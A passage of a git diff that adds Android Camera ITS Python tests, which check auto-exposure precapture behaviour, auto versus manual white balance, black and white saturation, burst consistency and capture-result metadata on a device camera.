+++ b/apps/CameraITS2.0/tests/scene1_1/test_ae_precapture_trigger.py
@@ -0,0 +1,128 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+import target_exposure_utils
+
+AE_INACTIVE = 0
+AE_SEARCHING = 1
+AE_CONVERGED = 2
+AE_LOCKED = 3  # not used in this test
+AE_FLASHREQUIRED = 4  # not used in this test
+AE_PRECAPTURE = 5
+FRAMES_AE_DISABLED = 5
+FRAMES_PER_ITERATION = 8
+ITERATIONS_TO_CONVERGE = 5
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+START_AE_PRECAP_TRIG = 1
+STOP_AE_PRECAP_TRIG = 0
+
+
+class AePrecaptureTest(its_base_test.ItsBaseTest):
+  """Test the AE state machine when using the precapture trigger.
+  """
+
+  def test_ae_precapture(self):
+    logging.debug('Starting %s', NAME)
+    logging.debug('AE_INACTIVE: %d', AE_INACTIVE)
+    logging.debug('AE_SEARCHING: %d', AE_SEARCHING)
+    logging.debug('AE_CONVERGED: %d', AE_CONVERGED)
+    logging.debug('AE_PRECAPTURE: %d', AE_PRECAPTURE)
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      _, fmt = capture_request_utils.get_fastest_manual_capture_settings(props)
+
+      # Capture 5 manual requests with AE disabled and the last request
+      # has an AE precapture trigger (which should be ignored since AE is
+      # disabled).
+      logging.debug('Manual captures')
+      manual_reqs = []
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          self.log_path, cam)['midExposureTime']
+      manual_req = capture_request_utils.manual_capture_request(s, e)
+      manual_req['android.control.aeMode'] = AE_INACTIVE
+      manual_reqs += [manual_req] * (FRAMES_AE_DISABLED-1)
+      precap_req = capture_request_utils.manual_capture_request(s, e)
+      precap_req['android.control.aeMode'] = AE_INACTIVE
+      precap_req['android.control.aePrecaptureTrigger'] = START_AE_PRECAP_TRIG
+      manual_reqs.append(precap_req)
+      caps = cam.do_capture(manual_reqs, fmt)
+      for i, cap in enumerate(caps):
+        state = cap['metadata']['android.control.aeState']
+        msg = 'AE state after manual request %d: %d' % (i, state)
+        logging.debug('%s', msg)
+        e_msg = msg + ' AE_INACTIVE: %d' % AE_INACTIVE
+        assert state == AE_INACTIVE, e_msg
+
+      # Capture auto request and verify the AE state: no trigger.
+      logging.debug('Auto capture')
+      auto_req = capture_request_utils.auto_capture_request()
+      auto_req['android.control.aeMode'] = AE_SEARCHING
+      cap = cam.do_capture(auto_req, fmt)
+      state = cap['metadata']['android.control.aeState']
+      msg = 'AE state after auto request: %d' % state
+      logging.debug('%s', msg)
+      e_msg = msg + ' AE_SEARCHING: %d, AE_CONVERGED: %d' % (
+          AE_SEARCHING, AE_CONVERGED)
+      assert state in [AE_SEARCHING, AE_CONVERGED], e_msg
+
+      # Capture auto request with a precapture trigger.
+      logging.debug('Auto capture with precapture trigger')
+      auto_req['android.control.aePrecaptureTrigger'] = START_AE_PRECAP_TRIG
+      cap = cam.do_capture(auto_req, fmt)
+      state = cap['metadata']['android.control.aeState']
+      msg = 'AE state after auto request with precapture trigger: %d' % state
+      logging.debug('%s', msg)
+      e_msg = msg + ' AE_SEARCHING: %d, AE_CONVERGED: %d, AE_PRECAPTURE: %d' % (
+          AE_SEARCHING, AE_CONVERGED, AE_PRECAPTURE)
+      assert state in [AE_SEARCHING, AE_CONVERGED, AE_PRECAPTURE], e_msg
+
+      # Capture some more auto requests, and AE should converge.
+      logging.debug('Additional auto captures')
+      auto_req['android.control.aePrecaptureTrigger'] = STOP_AE_PRECAP_TRIG
+      for _ in range(ITERATIONS_TO_CONVERGE):
+        caps = cam.do_capture([auto_req] * FRAMES_PER_ITERATION, fmt)
+        state = caps[-1]['metadata']['android.control.aeState']
+        msg = 'AE state after auto request: %d' % state
+        logging.debug('%s', msg)
+        if state == AE_CONVERGED:
+          return
+      e_msg = msg + ' AE_CONVERGED: %d' % AE_CONVERGED
+      assert state == AE_CONVERGED, e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_auto_vs_manual.py b/apps/CameraITS2.0/tests/scene1_1/test_auto_vs_manual.py
new file mode 100644
index 0000000..922cea9
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_auto_vs_manual.py
@@ -0,0 +1,144 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import math
+import os.path
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+AWB_AUTO_ATOL = 0.10
+AWB_AUTO_RTOL = 0.25
+AWB_MANUAL_ATOL = 0.05
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+TONEMAP_GAMMA = sum([[t/63.0, math.pow(t/63.0, 1/2.2)] for t in range(64)], [])
+
+
+def extract_awb_gains_and_xform(cap, cap_name, log_path):
+  """Extract the AWB transform and gains, save image, and log info.
+
+  Args:
+    cap: camera capture
+    cap_name: text string to identify cap type
+    log_path: location to save images
+
+  Returns:
+    awb_gains, awb_xform
+  """
+  img = image_processing_utils.convert_capture_to_rgb_image(cap)
+  image_processing_utils.write_image(img, '%s_%s.jpg' % (
+      os.path.join(log_path, NAME), cap_name))
+  awb_gains = cap['metadata']['android.colorCorrection.gains']
+  awb_xform = capture_request_utils.rational_to_float(
+      cap['metadata']['android.colorCorrection.transform'])
+  logging.debug('%s gains: %s', cap_name, str(awb_gains))
+  logging.debug('%s transform: %s', cap_name, str(awb_xform))
+  return awb_gains, awb_xform
+
+
+class AutoVsManualTest(its_base_test.ItsBaseTest):
+  """Capture auto and manual shots that should look the same.
+
+  Manual shots taken with just manual WB, and also with manual WB+tonemap.
+
+  In all cases, the general color/look of the shots should be the same,
+  however there can be variations in brightness/contrast due to different
+  'auto' ISP blocks that may be disabled in the manual flows.
+  """
+
+  def test_auto_vs_manual(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      mono_camera = camera_properties_utils.mono_camera(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Converge 3A and get the estimates
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      s, e, awb_gains, awb_xform, fd = cam.do_3a(get_results=True,
+                                                 mono_camera=mono_camera)
+      awb_xform_rat = capture_request_utils.float_to_rational(awb_xform)
+      logging.debug('AE sensitivity: %d, exposure: %dms', s, e/1000000.0)
+      logging.debug('AWB gains: %s', str(awb_gains))
+      logging.debug('AWB transform: %s', str(awb_xform))
+      logging.debug('AF distance: %.3f', fd)
+
+      # Auto capture
+      req = capture_request_utils.auto_capture_request()
+      cap_auto = cam.do_capture(req, fmt)
+      awb_gains_a, awb_xform_a = extract_awb_gains_and_xform(
+          cap_auto, 'auto', log_path)
+
+      # Manual capture 1: WB
+      req = capture_request_utils.manual_capture_request(s, e, fd)
+      req['android.colorCorrection.transform'] = awb_xform_rat
+      req['android.colorCorrection.gains'] = awb_gains
+      cap_man1 = cam.do_capture(req, fmt)
+      awb_gains_m1, awb_xform_m1 = extract_awb_gains_and_xform(
+          cap_man1, 'manual_wb', log_path)
+
+      # Manual capture 2: WB + tonemap
+      req['android.tonemap.mode'] = 0
+      req['android.tonemap.curve'] = {'red': TONEMAP_GAMMA,
+                                      'green': TONEMAP_GAMMA,
+                                      'blue': TONEMAP_GAMMA}
+      cap_man2 = cam.do_capture(req, fmt)
+      awb_gains_m2, awb_xform_m2 = extract_awb_gains_and_xform(
+          cap_man2, 'manual_wb_tm', log_path)
+
+      # Check AWB gains & transform in manual results match values from do_3a
+      for g, x in [(awb_gains_m1, awb_xform_m1), (awb_gains_m2, awb_xform_m2)]:
+        e_msg = 'awb_xform 3A: %s, manual: %s, ATOL=%.2f' % (
+            str(awb_xform), str(x), AWB_MANUAL_ATOL)
+        assert np.allclose(awb_xform, x, atol=AWB_MANUAL_ATOL, rtol=0), e_msg
+        e_msg = 'awb_gains 3A: %s, manual: %s, ATOL=%.2f' % (
+            str(awb_gains), str(g), AWB_MANUAL_ATOL)
+        assert np.allclose(awb_gains, g, atol=AWB_MANUAL_ATOL, rtol=0), e_msg
+
+      # Check AWB gains & transform in auto results match values from do_3a
+      e_msg = 'awb_xform 3A: %s, auto: %s, RTOL=%.2f, ATOL=%.2f' % (
+          str(awb_xform), str(awb_xform_a), AWB_AUTO_RTOL, AWB_AUTO_ATOL)
+      assert np.allclose(awb_xform_a, awb_xform, atol=AWB_AUTO_ATOL,
+                         rtol=AWB_AUTO_RTOL), e_msg
+      e_msg = 'awb_gains 3A: %s, auto: %s, RTOL=%.2f, ATOL=%.2f' % (
+          str(awb_gains), str(awb_gains_a), AWB_AUTO_RTOL, AWB_AUTO_ATOL)
+      assert np.allclose(awb_gains_a, awb_gains, atol=AWB_AUTO_ATOL,
+                         rtol=AWB_AUTO_RTOL), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_black_white.py b/apps/CameraITS2.0/tests/scene1_1/test_black_white.py
new file mode 100644
index 0000000..ed9f66f
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_black_white.py
@@ -0,0 +1,157 @@
+# Copyright 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+CH_FULL_SCALE = 255
+CH_THRESH_BLACK = 6
+CH_THRESH_WHITE = CH_FULL_SCALE - 6
+CH_TOL_WHITE = 2
+COLOR_PLANES = ['R', 'G', 'B']
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1
+PATCH_W = 0.1
+PATCH_X = 0.45
+PATCH_Y = 0.45
+VGA_WIDTH, VGA_HEIGHT = 640, 480
+
+
+def do_img_capture(cam, s, e, fmt, latency, cap_name, log_path):
+  """Do the image captures with the defined parameters.
+
+  Args:
+    cam: its_session open for camera
+    s: sensitivity for request
+    e: exposure in ns for request
+    fmt: format of request
+    latency: number of frames for sync latency of request
+    cap_name: string to define the capture
+    log_path: path for plot directory
+
+  Returns:
+    means values of center patch from capture
+  """
+
+  req = capture_request_utils.manual_capture_request(s, e)
+  cap = its_session_utils.do_capture_with_latency(cam, req, latency, fmt)
+  img = image_processing_utils.convert_capture_to_rgb_image(cap)
+  image_processing_utils.write_image(
+      img, '%s_%s.jpg' % (os.path.join(log_path, NAME), cap_name))
+  patch = image_processing_utils.get_image_patch(
+      img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  means = image_processing_utils.compute_image_means(patch)
+  means = [m * CH_FULL_SCALE for m in means]
+  logging.debug('%s pixel means: %s', cap_name, str(means))
+  r_exp = cap['metadata']['android.sensor.exposureTime']
+  r_iso = cap['metadata']['android.sensor.sensitivity']
+  logging.debug('%s shot write values: sens = %d, exp time = %.4fms',
+                cap_name, s, (e / 1000000.0))
+  logging.debug('%s shot read values: sens = %d, exp time = %.4fms',
+                cap_name, r_iso, (r_exp / 1000000.0))
+  return means
+
+
+class BlackWhiteTest(its_base_test.ItsBaseTest):
+  """Test that device will prodoce full black + white images.
+  """
+
+  def test_black_white(self):
+    r_means = []
+    g_means = []
+    b_means = []
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Initialize params for requests
+      latency = camera_properties_utils.sync_latency(props)
+      fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+      expt_range = props['android.sensor.info.exposureTimeRange']
+      sens_range = props['android.sensor.info.sensitivityRange']
+      log_path = self.log_path
+
+      # Take shot with very low ISO and exp time: expect it to be black
+      s = sens_range[0]
+      e = expt_range[0]
+      black_means = do_img_capture(cam, s, e, fmt, latency, 'black', log_path)
+      r_means.append(black_means[0])
+      g_means.append(black_means[1])
+      b_means.append(black_means[2])
+
+      # Take shot with very high ISO and exp time: expect it to be white.
+      s = sens_range[1]
+      e = expt_range[1]
+      white_means = do_img_capture(cam, s, e, fmt, latency, 'white', log_path)
+      r_means.append(white_means[0])
+      g_means.append(white_means[1])
+      b_means.append(white_means[2])
+
+      # Draw plot
+      pylab.title('test_black_white')
+      pylab.plot([0, 1], r_means, '-ro')
+      pylab.plot([0, 1], g_means, '-go')
+      pylab.plot([0, 1], b_means, '-bo')
+      pylab.xlabel('Capture Number')
+      pylab.ylabel('Output Values [0:255]')
+      pylab.ylim([0, 255])
+      matplotlib.pyplot.savefig('%s_plot_means.png' % (
+          os.path.join(log_path, NAME)))
+
+      # Assert blacks below CH_THRESH_BLACK
+      for ch, mean in enumerate(black_means):
+        e_msg = '%s black: %.1f, THRESH: %.f' % (
+            COLOR_PLANES[ch], mean, CH_THRESH_BLACK)
+        assert mean < CH_THRESH_BLACK, e_msg
+
+      # Assert whites above CH_THRESH_WHITE
+      for ch, mean in enumerate(white_means):
+        e_msg = '%s white: %.1f, THRESH: %.f' % (
+            COLOR_PLANES[ch], mean, CH_THRESH_WHITE)
+        assert mean > CH_THRESH_WHITE, e_msg
+
+      # Assert channels saturate evenly (was test_channel_saturation)
+      e_msg = 'ch saturation not equal! RGB: %s, ATOL: %.f' % (
+          str(white_means), CH_TOL_WHITE)
+      assert np.isclose(
+          np.amin(white_means), np.amax(white_means), atol=CH_TOL_WHITE), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_burst_sameness_manual.py b/apps/CameraITS2.0/tests/scene1_1/test_burst_sameness_manual.py
new file mode 100644
index 0000000..eff3327
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_burst_sameness_manual.py
@@ -0,0 +1,137 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from matplotlib import pylab
+import matplotlib.pyplot
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+API_LEVEL_30 = 30
+BURST_LEN = 50
+COLORS = ['R', 'G', 'B']
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_BURSTS = 5
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+SPREAD_THRESH = 0.03
+SPREAD_THRESH_API_LEVEL_30 = 0.02
+
+NUM_FRAMES = BURST_LEN * NUM_BURSTS
+
+
+class BurstSamenessManualTest(its_base_test.ItsBaseTest):
+  """Take long bursts of images and check that they're all identical.
+
+  Assumes a static scene. Can be used to idenfity if there are sporadic
+  frames that are processed differently or have artifacts. Uses manual
+  capture settings.
+  """
+
+  def test_burst_sameness_manual(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Capture at the smallest resolution
+      _, fmt = capture_request_utils.get_fastest_manual_capture_settings(props)
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['minSensitivity']
+      req = capture_request_utils.manual_capture_request(s, e)
+      w, h = fmt['width'], fmt['height']
+
+      # Capture bursts of YUV shots.
+      # Get the mean values of a center patch for each.
+      # Also build a 4D array, imgs, which is an array of all RGB images.
+      r_means = []
+      g_means = []
+      b_means = []
+      imgs = np.empty([NUM_FRAMES, h, w, 3])
+      for j in range(NUM_BURSTS):
+        caps = cam.do_capture([req]*BURST_LEN, [fmt])
+        for i, cap in enumerate(caps):
+          n = j*BURST_LEN + i
+          imgs[n] = image_processing_utils.convert_capture_to_rgb_image(cap)
+          patch = image_processing_utils.get_image_patch(
+              imgs[n], PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+          means = image_processing_utils.compute_image_means(patch)
+          r_means.append(means[0])
+          g_means.append(means[1])
+          b_means.append(means[2])
+
+      # Save first frame for setup debug
+      image_processing_utils.write_image(
+          imgs[0], '%s_frame000.jpg' % os.path.join(log_path, NAME))
+
+      # Save all frames if debug
+      if self.debug_mode:
+        logging.debug('Dumping all images')
+        for i in range(1, NUM_FRAMES):
+          image_processing_utils.write_image(
+              imgs[i], '%s_frame%03d.jpg'%(os.path.join(log_path, NAME), i))
+
+      # Plot RGB means vs frames
+      frames = range(NUM_FRAMES)
+      pylab.figure(NAME)
+      pylab.title(NAME)
+      pylab.plot(frames, r_means, '-ro')
+      pylab.plot(frames, g_means, '-go')
+      pylab.plot(frames, b_means, '-bo')
+      pylab.ylim([0, 1])
+      pylab.xlabel('frame number')
+      pylab.ylabel('RGB avg [0, 1]')
+      matplotlib.pyplot.savefig(
+          '%s_plot_means.png' % os.path.join(log_path, NAME))
+
+      # determine spread_thresh
+      spread_thresh = SPREAD_THRESH
+      if its_session_utils.get_first_api_level(self.dut.serial) >= API_LEVEL_30:
+        spread_thresh = SPREAD_THRESH_API_LEVEL_30
+
+      # PASS/FAIL based on center patch similarity.
+      for plane, means in enumerate([r_means, g_means, b_means]):
+        spread = max(means) - min(means)
+        msg = '%s spread: %.5f, spread_thresh: %.2f' % (
+            COLORS[plane], spread, spread_thresh)
+        logging.debug('%s', msg)
+        assert spread < spread_thresh, msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_capture_result.py b/apps/CameraITS2.0/tests/scene1_1/test_capture_result.py
new file mode 100644
index 0000000..8980874
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_capture_result.py
@@ -0,0 +1,250 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib.pyplot
+from mobly import test_runner
+# mplot3 is required for 3D plots in draw_lsc_plot() though not called directly.
+from mpl_toolkits import mplot3d  # pylint: disable=unused-import
+import numpy as np
+
+# required for 3D plots
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
+AWB_GAINS_NUM = 4
+AWB_XFORM_NUM = 9
+ISCLOSE_ATOL = 0.05  # not for absolute ==, but if something grossly wrong
+MANUAL_AWB_GAINS = [1, 1.5, 2.0, 3.0]
+MANUAL_AWB_XFORM = capture_request_utils.float_to_rational([-1.5, -1.0, -0.5,
+                                                            0.0, 0.5, 1.0,
+                                                            1.5, 2.0, 3.0])
+# The camera HAL may not support different gains for two G channels.
+MANUAL_GAINS_OK = [[1, 1.5, 2.0, 3.0],
+                   [1, 1.5, 1.5, 3.0],
+                   [1, 2.0, 2.0, 3.0]]
+MANUAL_TONEMAP = [0, 0, 1, 1]  # Linear tonemap
+MANUAL_REGION = [{'x': 8, 'y': 8, 'width': 128, 'height': 128, 'weight': 1}]
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+
+
+def is_close_rational(n1, n2):
+  return np.isclose(capture_request_utils.rational_to_float(n1),
+                    capture_request_utils.rational_to_float(n2),
+                    atol=ISCLOSE_ATOL)
+
+
+def draw_lsc_plot(lsc_map_w, lsc_map_h, lsc_map, name, log_path):
+  for ch in range(4):
+    fig = matplotlib.pyplot.figure()
+    ax = fig.gca(projection='3d')
+    xs = np.array([range(lsc_map_w)] * lsc_map_h).reshape(lsc_map_h, lsc_map_w)
+    ys = np.array([[i]*lsc_map_w for i in range(lsc_map_h)]).reshape(
+        lsc_map_h, lsc_map_w)
+    zs = np.array(lsc_map[ch::4]).reshape(lsc_map_h, lsc_map_w)
+    ax.plot_wireframe(xs, ys, zs)
+    matplotlib.pyplot.savefig('%s_plot_lsc_%s_ch%d.png' % (
+        os.path.join(log_path, NAME), name, ch))
+
+
+def metadata_checks(metadata, props):
+  """Common checks on AWB color correction matrix.
+
+  Args:
+    metadata: capture metadata
+    props: camera properties
+  """
+  awb_gains = metadata['android.colorCorrection.gains']
+  awb_xform = metadata['android.colorCorrection.transform']
+  logging.debug('AWB gains: %s', str(awb_gains))
+  logging.debug('AWB transform: %s', str(
+      [capture_request_utils.rational_to_float(t) for t in awb_xform]))
+  if props['android.control.maxRegionsAe'] > 0:
+    logging.debug('AE region: %s', str(metadata['android.control.aeRegions']))
+  if props['android.control.maxRegionsAf'] > 0:
+    logging.debug('AF region: %s', str(metadata['android.control.afRegions']))
+  if props['android.control.maxRegionsAwb'] > 0:
+    logging.debug('AWB region: %s', str(metadata['android.control.awbRegions']))
+
+  # Color correction gains and transform should be the same size
+  assert len(awb_gains) == AWB_GAINS_NUM
+  assert len(awb_xform) == AWB_XFORM_NUM
+
+
+def test_auto(cam, props, log_path):
+  """Do auto capture and test values.
+
+  Args:
+    cam: camera object
+    props: camera properties
+    log_path: path for plot directory
+  """
+  logging.debug('Testing auto capture results')
+  req = capture_request_utils.auto_capture_request()
+  req['android.statistics.lensShadingMapMode'] = 1
+  sync_latency = camera_properties_utils.sync_latency(props)
+
+  # Get 3A lock first, so auto values in capture result are populated properly.
+  mono_camera = camera_properties_utils.mono_camera(props)
+  cam.do_3a(do_af=False, mono_camera=mono_camera)
+
+  # Do capture
+  cap = its_session_utils.do_capture_with_latency(cam, req, sync_latency)
+  metadata = cap['metadata']
+
+  ctrl_mode = metadata['android.control.mode']
+  logging.debug('Control mode: %d', ctrl_mode)
+  assert ctrl_mode == 1, 'ctrl_mode: %d' % ctrl_mode
+
+  # Color correction gain and transform must be valid.
+  metadata_checks(metadata, props)
+  awb_gains = metadata['android.colorCorrection.gains']
+  awb_xform = metadata['android.colorCorrection.transform']
+  assert all([g > 0 for g in awb_gains])
+  assert all([t['denominator'] != 0 for t in awb_xform])
+
+  # Color correction should not match the manual settings.
+  assert not np.allclose(awb_gains, MANUAL_AWB_GAINS, atol=ISCLOSE_ATOL)
+  assert not all([is_close_rational(awb_xform[i], MANUAL_AWB_XFORM[i])
+                  for i in range(AWB_XFORM_NUM)])
+
+  # Exposure time must be valid.
+  exp_time = metadata['android.sensor.exposureTime']
+  assert exp_time > 0
+
+  # Draw lens shading correction map
+  lsc_obj = metadata['android.statistics.lensShadingCorrectionMap']
+  lsc_map = lsc_obj['map']
+  lsc_map_w = lsc_obj['width']
+  lsc_map_h = lsc_obj['height']
+  logging.debug('LSC map: %dx%d, %s', lsc_map_w, lsc_map_h, str(lsc_map[:8]))
+  draw_lsc_plot(lsc_map_w, lsc_map_h, lsc_map, 'auto', log_path)
+
+
+def test_manual(cam, props, log_path):
+  """Do manual capture and test results.
+
+  Args:
+    cam: camera object
+    props: camera properties
+    log_path: path for plot directory
+  """
+  logging.debug('Testing manual capture results')
+  exp_min = min(props['android.sensor.info.exposureTimeRange'])
+  sens_min = min(props['android.sensor.info.sensitivityRange'])
+  sync_latency = camera_properties_utils.sync_latency(props)
+  req = {
+      'android.control.mode': 0,
+      'android.control.aeMode': 0,
+      'android.control.awbMode': 0,
+      'android.control.afMode': 0,
+      'android.sensor.sensitivity': sens_min,
+      'android.sensor.exposureTime': exp_min,
+      'android.colorCorrection.mode': 0,
+      'android.colorCorrection.transform': MANUAL_AWB_XFORM,
+      'android.colorCorrection.gains': MANUAL_AWB_GAINS,
+      'android.tonemap.mode': 0,
+      'android.tonemap.curve': {'red': MANUAL_TONEMAP,
+                                'green': MANUAL_TONEMAP,
+                                'blue': MANUAL_TONEMAP},
+      'android.control.aeRegions': MANUAL_REGION,
+      'android.control.afRegions': MANUAL_REGION,
+      'android.control.awbRegions': MANUAL_REGION,
+      'android.statistics.lensShadingMapMode': 1
+      }
+  cap = its_session_utils.do_capture_with_latency(cam, req, sync_latency)
+  metadata = cap['metadata']
+
+  ctrl_mode = metadata['android.control.mode']
+  logging.debug('Control mode: %d', ctrl_mode)
+  assert ctrl_mode == 0, 'ctrl_mode: %d' % ctrl_mode
+
+  # Color correction gains and transform should be the same size and
+  # values as the manually set values.
+  metadata_checks(metadata, props)
+  awb_gains = metadata['android.colorCorrection.gains']
+  awb_xform = metadata['android.colorCorrection.transform']
+  assert (all([np.isclose(awb_gains[i], MANUAL_GAINS_OK[0][i],
+                          atol=ISCLOSE_ATOL) for i in range(AWB_GAINS_NUM)]) or
+          all([np.isclose(awb_gains[i], MANUAL_GAINS_OK[1][i],
+                          atol=ISCLOSE_ATOL) for i in range(AWB_GAINS_NUM)]) or
+          all([np.isclose(awb_gains[i], MANUAL_GAINS_OK[2][i],
+                          atol=ISCLOSE_ATOL) for i in range(AWB_GAINS_NUM)]))
+  assert (all([is_close_rational(awb_xform[i], MANUAL_AWB_XFORM[i])
+               for i in range(AWB_XFORM_NUM)]))
+
+  # The returned tonemap must be linear.
+  curves = [metadata['android.tonemap.curve']['red'],
+            metadata['android.tonemap.curve']['green'],
+            metadata['android.tonemap.curve']['blue']]
+  logging.debug('Tonemap: %s', str(curves[0][1::16]))
+  for c in curves:
+    assert c, 'c in curves is empty.'
+    assert all([np.isclose(c[i], c[i+1], atol=ISCLOSE_ATOL)
+                for i in range(0, len(c), 2)])
+
+  # Exposure time must be close to the requested exposure time.
+  exp_time = metadata['android.sensor.exposureTime']
+  assert np.isclose(exp_time*1.0E-6, exp_min*1.0E-6, atol=ISCLOSE_ATOL)
+
+  # Lens shading map must be valid
+  lsc_obj = metadata['android.statistics.lensShadingCorrectionMap']
+  lsc_map = lsc_obj['map']
+  lsc_map_w = lsc_obj['width']
+  lsc_map_h = lsc_obj['height']
+  logging.debug('LSC map: %dx%d, %s', lsc_map_w, lsc_map_h, str(lsc_map[:8]))
+  assert (lsc_map_w > 0 and lsc_map_h > 0 and
+          lsc_map_w*lsc_map_h*4 == len(lsc_map))
+  assert all([m >= 1 for m in lsc_map])
+
+  # Draw lens shading correction map
+  draw_lsc_plot(lsc_map_w, lsc_map_h, lsc_map, 'manual', log_path)
+
+
+class CaptureResult(its_base_test.ItsBaseTest):
+  """Test that valid data comes back in CaptureResult objects."""
+
+  def test_capture_result(self):
+    logging.debug('Starting %s', NAME)
